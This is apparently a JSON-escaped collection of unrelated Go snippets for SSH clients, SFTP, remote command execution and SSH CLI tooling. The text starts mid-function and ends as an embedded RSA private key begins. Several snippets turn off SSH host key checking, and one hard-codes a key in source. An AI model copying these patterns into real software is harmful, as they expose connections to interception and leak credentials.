{\\n\\t\\t\\t\\t\\t\\t\\tfmt.Printf(\\\"[%d] %s: %s %s\\\\n\\\", i, v.Name, v.IPAddress, v.AnsibleGroups)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\treturn errors.New(\\\"use an index to select a specific instance\\\")\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tinst = r[rIndex]\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tinst = r[0]\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfmt.Printf(\\\"[%d] %s: %s %s\\\\n\\\", rIndex, inst.Name, inst.IPAddress, inst.AnsibleGroups)\\n\\n\\t\\t\\t\\t// if scp {\\n\\t\\t\\t\\t// \\treturn launch.SCP(cfg, cfg.SSHUser, inst.IPAddress, c.Args().Tail()...)\\n\\t\\t\\t\\t// } else {\\n\\t\\t\\t\\treturn launch.SSH(cfg, cfg.SSHUser, inst.IPAddress)\\n\\t\\t\\t\\t// }\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tfor _, g := range groups {\\n\\t\\t\\tvar grp = g\\n\\t\\t\\tsshGroupCmd := cli.Command{\\n\\t\\t\\t\\tName: grp,\\n\\t\\t\\t\\tUsage: \\\"ssh to \\\" + grp + \\\" in \\\" + env.Name,\\n\\t\\t\\t\\tAction: actionFunc(grp, env, false),\\n\\t\\t\\t}\\n\\t\\t\\t// scpGroupCmd := cli.Command{\\n\\t\\t\\t// \\tName: grp,\\n\\t\\t\\t// \\tUsage: \\\"scp to \\\" + grp + \\\" in \\\" + env.Name,\\n\\t\\t\\t// \\tAction: actionFunc(grp, env, true),\\n\\t\\t\\t// }\\n\\t\\t\\tsshSubcommand.Subcommands = append(sshSubcommand.Subcommands, sshGroupCmd)\\n\\t\\t\\t// scpSubcommand.Subcommands = append(scpSubcommand.Subcommands, scpGroupCmd)\\n\\t\\t}\\n\\n\\t\\tsshCmd.Subcommands = append(sshCmd.Subcommands, sshSubcommand)\\n\\t\\t// scpCmd.Subcommands = append(scpCmd.Subcommands, scpSubcommand)\\n\\t}\\n\\n\\t// return []cli.Command{sshCmd, scpCmd}\\n\\treturn []cli.Command{sshCmd}\\n}\",\n \"func init() {\\n\\tcmd := cli.Command{\\n\\t\\tName: \\\"ssh\\\",\\n\\t\\tUsage: \\\"create and manage ssh certificates\\\",\\n\\t\\tUsageText: \\\"step ssh [arguments] [global-flags] [subcommand-flags]\\\",\\n\\t\\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\\n\\n## EXAMPLES\\n\\nGenerate a new SSH key pair and user certificate:\\n'''\\n$ step ssh certificate joe@work id_ecdsa\\n'''\\n\\nGenerate a new SSH key pair and host certificate:\\n'''\\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\\n'''\\n\\nAdd a new user certificate to the agent:\\n'''\\n$ step ssh login joe@example.com\\n'''\\n\\nRemove a certificate from the agent:\\n'''\\n$ step ssh logout joe@example.com\\n'''\\n\\nList all keys in the agent:\\n'''\\n$ step ssh list\\n'''\\n\\nConfigure a user environment with the SSH templates:\\n'''\\n$ step ssh config\\n'''\\n\\nInspect an ssh certificate file:\\n'''\\n$ step ssh inspect id_ecdsa-cert.pub\\n'''\\n\\nInspect an ssh certificate in the agent:\\n'''\\n$ step ssh list --raw joe@example.com | step ssh inspect\\n'''\\n\\nList all the hosts you have access to:\\n'''\\n$ step ssh hosts\\n'''\\n\\nLogin into one host:\\n'''\\n$ ssh internal.example.com\\n'''`,\\n\\t\\tSubcommands: cli.Commands{\\n\\t\\t\\tcertificateCommand(),\\n\\t\\t\\tcheckHostCommand(),\\n\\t\\t\\tconfigCommand(),\\n\\t\\t\\tfingerPrintCommand(),\\n\\t\\t\\thostsCommand(),\\n\\t\\t\\tinspectCommand(),\\n\\t\\t\\tlistCommand(),\\n\\t\\t\\tloginCommand(),\\n\\t\\t\\tlogoutCommand(),\\n\\t\\t\\tneedsRenewalCommand(),\\n\\t\\t\\t// proxyCommand(),\\n\\t\\t\\tproxycommandCommand(),\\n\\t\\t\\trekeyCommand(),\\n\\t\\t\\trenewCommand(),\\n\\t\\t\\trevokeCommand(),\\n\\t\\t},\\n\\t}\\n\\n\\tcommand.Register(cmd)\\n}\",\n \"func (self *SinglePad) ConnectI(args ...interface{}) {\\n self.Object.Call(\\\"connect\\\", args)\\n}\",\n \"func (s *SSHClient) Execute(host, cmd string) (string, error) {\\n\\thostname := fmt.Sprintf(\\\"%s.%s.%s:%d\\\", host, s.projectID, DropletDomain, defaultSSHPort)\\n\\n\\tpemBytes, err := s.repo.GetKey(s.projectID)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tsigner, err := ssh.ParsePrivateKey(pemBytes)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"parse key failed: %v\\\", err)\\n\\t}\\n\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: \\\"workshop\\\",\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t}\\n\\n\\ts.log.WithField(\\\"hostname\\\", hostname).Info(\\\"dialing\\\")\\n\\tconn, err := ssh.Dial(\\\"tcp\\\", hostname, config)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\ts.log.WithField(\\\"hostname\\\", hostname).Info(\\\"creating session\\\")\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tdefer session.Close()\\n\\n\\tvar buf bytes.Buffer\\n\\tsession.Stdout = &buf\\n\\n\\ts.log.WithFields(logrus.Fields{\\n\\t\\t\\\"hostname\\\": hostname,\\n\\t\\t\\\"cmd\\\": cmd}).\\n\\t\\tInfo(\\\"running command\\\")\\n\\terr = session.Run(cmd)\\n\\tif err != nil {\\n\\t\\ts.log.WithField(\\\"output\\\", buf.String()).WithError(err).Error(\\\"ssh client run returned non zero result\\\")\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"%s\\\\n%s\\\", err, buf.String())\\n\\t}\\n\\n\\treturn buf.String(), nil\\n}\",\n \"func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\\n\\tvar b bytes.Buffer // import \\\"bytes\\\"\\n\\n\\t// Connect\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", net.JoinHostPort(addr, \\\"22\\\"), config)\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\t// Create a session. It is one session per command.\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tsession.Stderr = os.Stderr // get output\\n\\tsession.Stdout = &b // get output\\n\\t// you can also pass what gets input to the stdin, allowing you to pipe\\n\\t// content from client to server\\n\\t// session.Stdin = bytes.NewBufferString(\\\"My input\\\")\\n\\n\\t// Finally, run the command\\n\\tfullCmd := \\\". ~/.nix-profile/etc/profile.d/nix.sh && cd \\\" + workDir + \\\" && nix-shell \\\" + nixConf + \\\" --command '\\\" + cmd + \\\"'\\\"\\n\\tfmt.Println(fullCmd)\\n\\terr = session.Run(fullCmd)\\n\\treturn b, err\\n}\",\n \"func (instance *NDiscovery) sendCommand(conn *lygo_n_net.NConn, command string, params map[string]interface{}) *lygo_n_commons.Response {\\n\\treturn conn.Send(command, params)\\n}\",\n \"func sftpconnect(n *Node) (*sftp.Client, error) {\\n\\tuser := n.UserName\\n\\thost := n.Addr\\n\\tport := 22\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tsshClient *ssh.Client\\n\\t\\tsftpClient *sftp.Client\\n\\t\\terr error\\n\\t)\\n\\t// Get auth method\\n\\tif n.AuthMethod == \\\"privateKey\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\\n\\t} else if n.AuthMethod == \\\"password\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, ssh.Password(n.Password))\\n\\t}\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\t// Connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif sshClient, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Create sftp client\\n\\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn sftpClient, nil\\n}\",\n \"func (rhost *rhostData) connect() {\\n\\n\\t// Get local IP list\\n\\tips, _ := rhost.getIPs()\\n\\n\\t// Create command buffer\\n\\tbuf := new(bytes.Buffer)\\n\\t_, port := rhost.teo.td.GetAddr()\\n\\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\\n\\tfor _, addr := range ips {\\n\\t\\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\\n\\t\\tbinary.Write(buf, binary.LittleEndian, byte(0))\\n\\t}\\n\\tbinary.Write(buf, binary.LittleEndian, uint32(port))\\n\\tdata := buf.Bytes()\\n\\tfmt.Printf(\\\"Connect to r-host, send local IPs\\\\nip: %v\\\\nport: %d\\\\n\\\", ips, port)\\n\\n\\t// Send command to r-host\\n\\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\\n\\trhost.connected = true\\n}\",\n \"func NewConnection(host, port, user, keyPath string) (*Connection, error) {\\n\\tconn, err := net.Dial(\\\"unix\\\", os.Getenv(\\\"SSH_AUTH_SOCK\\\"))\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"unable to establish net connection $SSH_AUTH_SOCK has value %s\\\\n\\\", os.Getenv(\\\"SSH_AUTH_SOCK\\\"))\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer conn.Close()\\n\\tag := agent.NewClient(conn)\\n\\n\\tprivateKeyBytes, err := os.ReadFile(keyPath)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tprivateKey, err := ssh.ParseRawPrivateKey(privateKeyBytes)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\taddKey := agent.AddedKey{\\n\\t\\tPrivateKey: privateKey,\\n\\t}\\n\\n\\tag.Add(addKey)\\n\\tsigners, err := ag.Signers()\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"unable to add key to agent\\\")\\n\\t\\treturn nil, err\\n\\t}\\n\\tauths := []ssh.AuthMethod{ssh.PublicKeys(signers...)}\\n\\n\\tcfg := &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auths,\\n\\t\\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\\n\\t}\\n\\n\\tcnctStr := fmt.Sprintf(\\\"%s:%s\\\", host, port)\\n\\tsshClient, err := ssh.Dial(\\\"tcp\\\", cnctStr, cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn &Connection{\\n\\t\\tHost: host,\\n\\t\\tPort: port,\\n\\t\\tUser: user,\\n\\t\\tPrivateKeyPath: keyPath,\\n\\t\\tClientConfig: cfg,\\n\\t\\tClient: sshClient,\\n\\t}, nil\\n}\",\n \"func (h *Host) Connect() error {\\n\\tkey, err := ioutil.ReadFile(h.SSHKeyPath)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tsigner, err := ssh.ParsePrivateKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tconfig := ssh.ClientConfig{\\n\\t\\tUser: h.User,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.PublicKeys(signer),\\n\\t\\t},\\n\\t\\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\\n\\t}\\n\\taddress := fmt.Sprintf(\\\"%s:%d\\\", h.Address, h.SSHPort)\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", address, &config)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\th.sshClient = client\\n\\n\\treturn nil\\n}\",\n \"func (ssh *SSHConfig) Enter() error {\\n\\ttunnels, sshConfig, err := ssh.CreateTunnels()\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\n\\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, \\\"\\\", false)\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif keyFile != nil {\\n\\t\\t\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error removing file %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\n\\tbash, err := exec.LookPath(\\\"bash\\\")\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif keyFile != nil {\\n\\t\\t\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error removing file %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\n\\tproc := exec.Command(bash, \\\"-c\\\", sshCmdString)\\n\\tproc.Stdin = os.Stdin\\n\\tproc.Stdout = os.Stdout\\n\\tproc.Stderr = os.Stderr\\n\\terr = proc.Run()\\n\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\tif nerr != nil {\\n\\t\\tlog.Warnf(\\\"Error removing file %v\\\", nerr)\\n\\t}\\n\\treturn err\\n}\",\n \"func (h *Host) Exec(cmd string) error {\\n\\tsession, err := h.sshClient.NewSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tstdout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tstderr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tlogrus.Debugf(\\\"executing command: %s\\\", cmd)\\n\\tif err := session.Start(cmd); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tmultiReader := io.MultiReader(stdout, stderr)\\n\\toutputScanner := bufio.NewScanner(multiReader)\\n\\n\\tfor outputScanner.Scan() {\\n\\t\\tlogrus.Debugf(\\\"%s: %s\\\", h.FullAddress(), outputScanner.Text())\\n\\t}\\n\\tif err := outputScanner.Err(); err != nil {\\n\\t\\tlogrus.Errorf(\\\"%s: %s\\\", h.FullAddress(), err.Error())\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\\n\\treturn dialSSH(addr, username, ssh.Password(password), cb)\\n}\",\n \"func (ch *InternalChannel) Connect(c *Client) {}\",\n \"func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\\n\\tq := curi.Query()\\n\\n\\tknownHostsPath := q.Get(\\\"knownhosts\\\")\\n\\tif knownHostsPath == \\\"\\\" {\\n\\t\\tknownHostsPath = defaultSSHKnownHostsPath\\n\\t}\\n\\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to read ssh known hosts: %w\\\", err)\\n\\t}\\n\\n\\tsshKeyPath := q.Get(\\\"keyfile\\\")\\n\\tif sshKeyPath == \\\"\\\" {\\n\\t\\tsshKeyPath = defaultSSHKeyPath\\n\\t}\\n\\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to read ssh key: %w\\\", err)\\n\\t}\\n\\n\\tsigner, err := ssh.ParsePrivateKey(sshKey)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to parse ssh key: %w\\\", err)\\n\\t}\\n\\n\\tusername := curi.User.Username()\\n\\tif username == \\\"\\\" {\\n\\t\\tu, err := user.Current()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tusername = u.Name\\n\\t}\\n\\n\\tcfg := ssh.ClientConfig{\\n\\t\\tUser: username,\\n\\t\\tHostKeyCallback: hostKeyCallback,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t\\tTimeout: 2 * time.Second,\\n\\t}\\n\\n\\tport := curi.Port()\\n\\tif port == \\\"\\\" {\\n\\t\\tport = defaultSSHPort\\n\\t}\\n\\n\\tsshClient, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%s\\\", curi.Hostname(), port), &cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\taddress := q.Get(\\\"socket\\\")\\n\\tif address == \\\"\\\" {\\n\\t\\taddress = defaultUnixSock\\n\\t}\\n\\n\\tc, err := sshClient.Dial(\\\"unix\\\", address)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to connect to libvirt on the remote host: %w\\\", err)\\n\\t}\\n\\n\\treturn c, nil\\n}\",\n \"func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\\n\\tfmt.Println(cmd)\\n\\tsession, err := sc.client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\tout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tbuf := &bytes.Buffer{}\\n\\twriter := io.MultiWriter(os.Stdout, buf)\\n\\tgo io.Copy(writer, out)\\n\\touterr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo io.Copy(os.Stderr, outerr)\\n\\terr = session.Run(cmd)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf, nil\\n}\",\n \"func newSSHConnectionAndAuth(c *model.Config) (Authentication, error) {\\n\\ts, err := ssh.Connect(c)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tssh := &SSH{\\n\\t\\tconn: s,\\n\\t\\thost: c.Host,\\n\\t\\tport: c.Port,\\n\\t\\tusername: c.Username,\\n\\t\\tpassword: c.Password,\\n\\t\\ttimeout: c.Timeout,\\n\\t\\ttimeoutCommand: c.TimeoutCommand,\\n\\t}\\n\\tif err := ssh.setBannerName(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn ssh, nil\\n}\",\n \"func (ch *ServerChannel) Connect(c *Client) {}\",\n \"func (n *Node) ExecuteCommand(command string) (string, error) {\\n\\tsigner, err := ssh.ParsePrivateKey(n.SSHKey)\\n\\tvar output []byte\\n\\tvar output_string string\\n\\n\\tif err != nil {\\n\\t\\treturn output_string, err\\n\\t}\\n\\n\\tauths := []ssh.AuthMethod{ssh.PublicKeys([]ssh.Signer{signer}...)}\\n\\n\\tcfg := &ssh.ClientConfig{\\n\\t\\tUser: n.SSHUser,\\n\\t\\tAuth: auths,\\n\\t\\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\\n\\t}\\n\\tcfg.SetDefaults()\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", n.PublicIPAddress+\\\":22\\\", cfg)\\n\\tif err != nil {\\n\\t\\treturn output_string, err\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn output_string, err\\n\\t}\\n\\n\\toutput, err = session.Output(command)\\n\\toutput_string = string(output)\\n\\treturn output_string, err\\n}\",\n \"func (s *SSHer) Connect() (err error) {\\n\\taddr := net.JoinHostPort(s.Host, s.Port)\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: s.User,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.Password(s.Pass),\\n\\t\\t},\\n\\t\\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\\n\\t}\\n\\tif s.client, err = ssh.Dial(\\\"tcp\\\", addr, config); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\treturn\\n}\",\n \"func testCommand(t *testing.T, client ssh.Client, command string) error {\\n\\t// To avoid mixing the output streams of multiple commands running in\\n\\t// parallel tests, we combine stdout and stderr on the remote host, and\\n\\t// capture stdout and write it to the test log here.\\n\\tstdout := new(bytes.Buffer)\\n\\tif err := client.Run(command+\\\" 2>&1\\\", stdout, os.Stderr); err != nil {\\n\\t\\tt.Logf(\\\"`%s` failed with %v:\\\\n%s\\\", command, err, stdout.String())\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func sshAgent() (io.ReadWriteCloser, error) {\\r\\n cmd := exec.Command(\\\"wsl\\\", \\\"bash\\\", \\\"-c\\\", \\\"PS1=x source ~/.bashrc; socat - UNIX:\\\\\\\\$SSH_AUTH_SOCK\\\")\\r\\n stdin, err := cmd.StdinPipe()\\r\\n if err != nil {\\r\\n return nil, err\\r\\n }\\r\\n stdout, err := cmd.StdoutPipe()\\r\\n if err != nil {\\r\\n return nil, err\\r\\n }\\r\\n if err := cmd.Start(); err != nil {\\r\\n return nil, err\\r\\n }\\r\\n return &sshAgentCmd{stdout, stdin, cmd}, nil\\r\\n}\",\n \"func ConnectWithKeyTimeout(host, username, privKey string, timeout time.Duration) (*Client, error) {\\n\\tsigner, err := ssh.ParsePrivateKey([]byte(privKey))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tauthMethod := ssh.PublicKeys(signer)\\n\\n\\treturn connect(username, host, authMethod, timeout)\\n}\",\n \"func (t *Terminal) Connect(r *kite.Request) (interface{}, error) {\\n\\tvar params struct {\\n\\t\\tRemote Remote\\n\\t\\tSession string\\n\\t\\tSizeX, SizeY int\\n\\t\\tMode string\\n\\t}\\n\\n\\tif err := r.Args.One().Unmarshal(&params); err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"{ remote: [object], session: %s, noScreen: [bool] }, err: %s\\\",\\n\\t\\t\\tparams.Session, err)\\n\\t}\\n\\n\\tif params.SizeX <= 0 || params.SizeY <= 0 {\\n\\t\\treturn nil, fmt.Errorf(\\\"{ sizeX: %d, sizeY: %d } { raw JSON : %v }\\\", params.SizeX, params.SizeY, r.Args.One())\\n\\t}\\n\\n\\tuser, err := user.Current()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Could not get home dir: %s\\\", err)\\n\\t}\\n\\n\\tif params.Mode == \\\"create\\\" && t.HasLimit(r.Username) {\\n\\t\\treturn nil, errors.New(\\\"session limit has reached\\\")\\n\\t}\\n\\n\\tcommand, err := newCommand(params.Mode, params.Session, user.Username)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// get pty and tty descriptors\\n\\tp, err := pty.NewPTY()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// We will return this object to the client.\\n\\tserver := &Server{\\n\\t\\tSession: command.Session,\\n\\t\\tremote: params.Remote,\\n\\t\\tpty: p,\\n\\t\\tinputHook: t.InputHook,\\n\\t}\\n\\tserver.setSize(float64(params.SizeX), float64(params.SizeY))\\n\\n\\tt.AddUserSession(r.Username, command.Session, server)\\n\\n\\t// wrap the command with sudo -i for initiation login shell. This is needed\\n\\t// in order to have Environments and other to be initialized correctly.\\n\\t// check also if klient was started in root mode or not.\\n\\tvar args []string\\n\\tif os.Geteuid() == 0 {\\n\\t\\targs = []string{\\\"-i\\\", command.Name}\\n\\t} else {\\n\\t\\targs = []string{\\\"-i\\\", \\\"-u\\\", \\\"#\\\" + user.Uid, \\\"--\\\", command.Name}\\n\\t}\\n\\n\\t// check if we have custom screenrc path and there is a file for it. If yes\\n\\t// use it for screen binary otherwise it'll just start without any screenrc.\\n\\tif t.screenrcPath != \\\"\\\" {\\n\\t\\tif _, err := os.Stat(t.screenrcPath); err == nil {\\n\\t\\t\\targs = append(args, \\\"-c\\\", t.screenrcPath)\\n\\t\\t}\\n\\t}\\n\\n\\targs = append(args, command.Args...)\\n\\tcmd := exec.Command(\\\"/usr/bin/sudo\\\", args...)\\n\\n\\t// For test use this, sudo is not going to work\\n\\t// cmd := exec.Command(command.Name, command.Args...)\\n\\n\\tcmd.Env = []string{\\\"TERM=xterm-256color\\\", \\\"HOME=\\\" + user.HomeDir}\\n\\tcmd.Stdin = server.pty.Slave\\n\\tcmd.Stdout = server.pty.Slave\\n\\tcmd.Dir = user.HomeDir\\n\\t// cmd.Stderr = server.pty.Slave\\n\\n\\t// Open in background, this is needed otherwise the process will be killed\\n\\t// if you hit close on the client side.\\n\\tcmd.SysProcAttr = &syscall.SysProcAttr{Setctty: true, Setsid: true}\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"could not start\\\", err)\\n\\t}\\n\\n\\t// Wait until the shell process is closed and notify the client.\\n\\tgo func() {\\n\\t\\terr := cmd.Wait()\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"cmd.wait err\\\", err)\\n\\t\\t}\\n\\n\\t\\tserver.pty.Slave.Close()\\n\\t\\tserver.pty.Master.Close()\\n\\t\\tserver.remote.SessionEnded.Call()\\n\\n\\t\\tt.DeleteUserSession(r.Username, command.Session)\\n\\t}()\\n\\n\\t// Read the STDOUT from shell process and send to the connected client.\\n\\tgo func() {\\n\\t\\tbuf := make([]byte, (4096)-utf8.UTFMax, 4096)\\n\\t\\tfor {\\n\\t\\t\\tn, err := server.pty.Master.Read(buf)\\n\\t\\t\\tfor n < cap(buf)-1 {\\n\\t\\t\\t\\tr, _ := utf8.DecodeLastRune(buf[:n])\\n\\t\\t\\t\\tif r != utf8.RuneError {\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tserver.pty.Master.Read(buf[n : n+1])\\n\\t\\t\\t\\tn++\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Rate limiting...\\n\\t\\t\\tif server.throttling {\\n\\t\\t\\t\\ts := time.Now().Unix()\\n\\t\\t\\t\\tif server.currentSecond != s {\\n\\t\\t\\t\\t\\tserver.currentSecond = s\\n\\t\\t\\t\\t\\tserver.messageCounter = 0\\n\\t\\t\\t\\t\\tserver.byteCounter = 0\\n\\t\\t\\t\\t\\tserver.lineFeeedCounter = 0\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tserver.messageCounter += 1\\n\\t\\t\\t\\tserver.byteCounter += n\\n\\t\\t\\t\\tserver.lineFeeedCounter += bytes.Count(buf[:n], []byte{'\\\\n'})\\n\\t\\t\\t\\tif server.messageCounter > 100 || server.byteCounter > 1<<18 || server.lineFeeedCounter > 300 {\\n\\t\\t\\t\\t\\ttime.Sleep(time.Second)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\treturn server, nil\\n}\",\n \"func (p *plugin) cmdJoin(w irc.ResponseWriter, r *irc.Request, params cmd.ParamList) {\\n\\tvar channel irc.Channel\\n\\tchannel.Name = params.String(0)\\n\\n\\tif params.Len() > 1 {\\n\\t\\tchannel.Password = params.String(1)\\n\\t}\\n\\n\\tif params.Len() > 2 {\\n\\t\\tchannel.Key = params.String(2)\\n\\t}\\n\\n\\tproto.Join(w, channel)\\n}\",\n \"func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}\",\n \"func connect(user, host string, port int) (*ssh.Client, error) {\\n\\tvar (\\n\\t\\tauth \\t\\t\\t[]ssh.AuthMethod\\n\\t\\taddr \\t\\t\\tstring\\n\\t\\tclientConfig \\t*ssh.ClientConfig\\n\\t\\tclient \\t\\t\\t*ssh.Client\\n\\t\\terr \\t\\t\\terror\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE 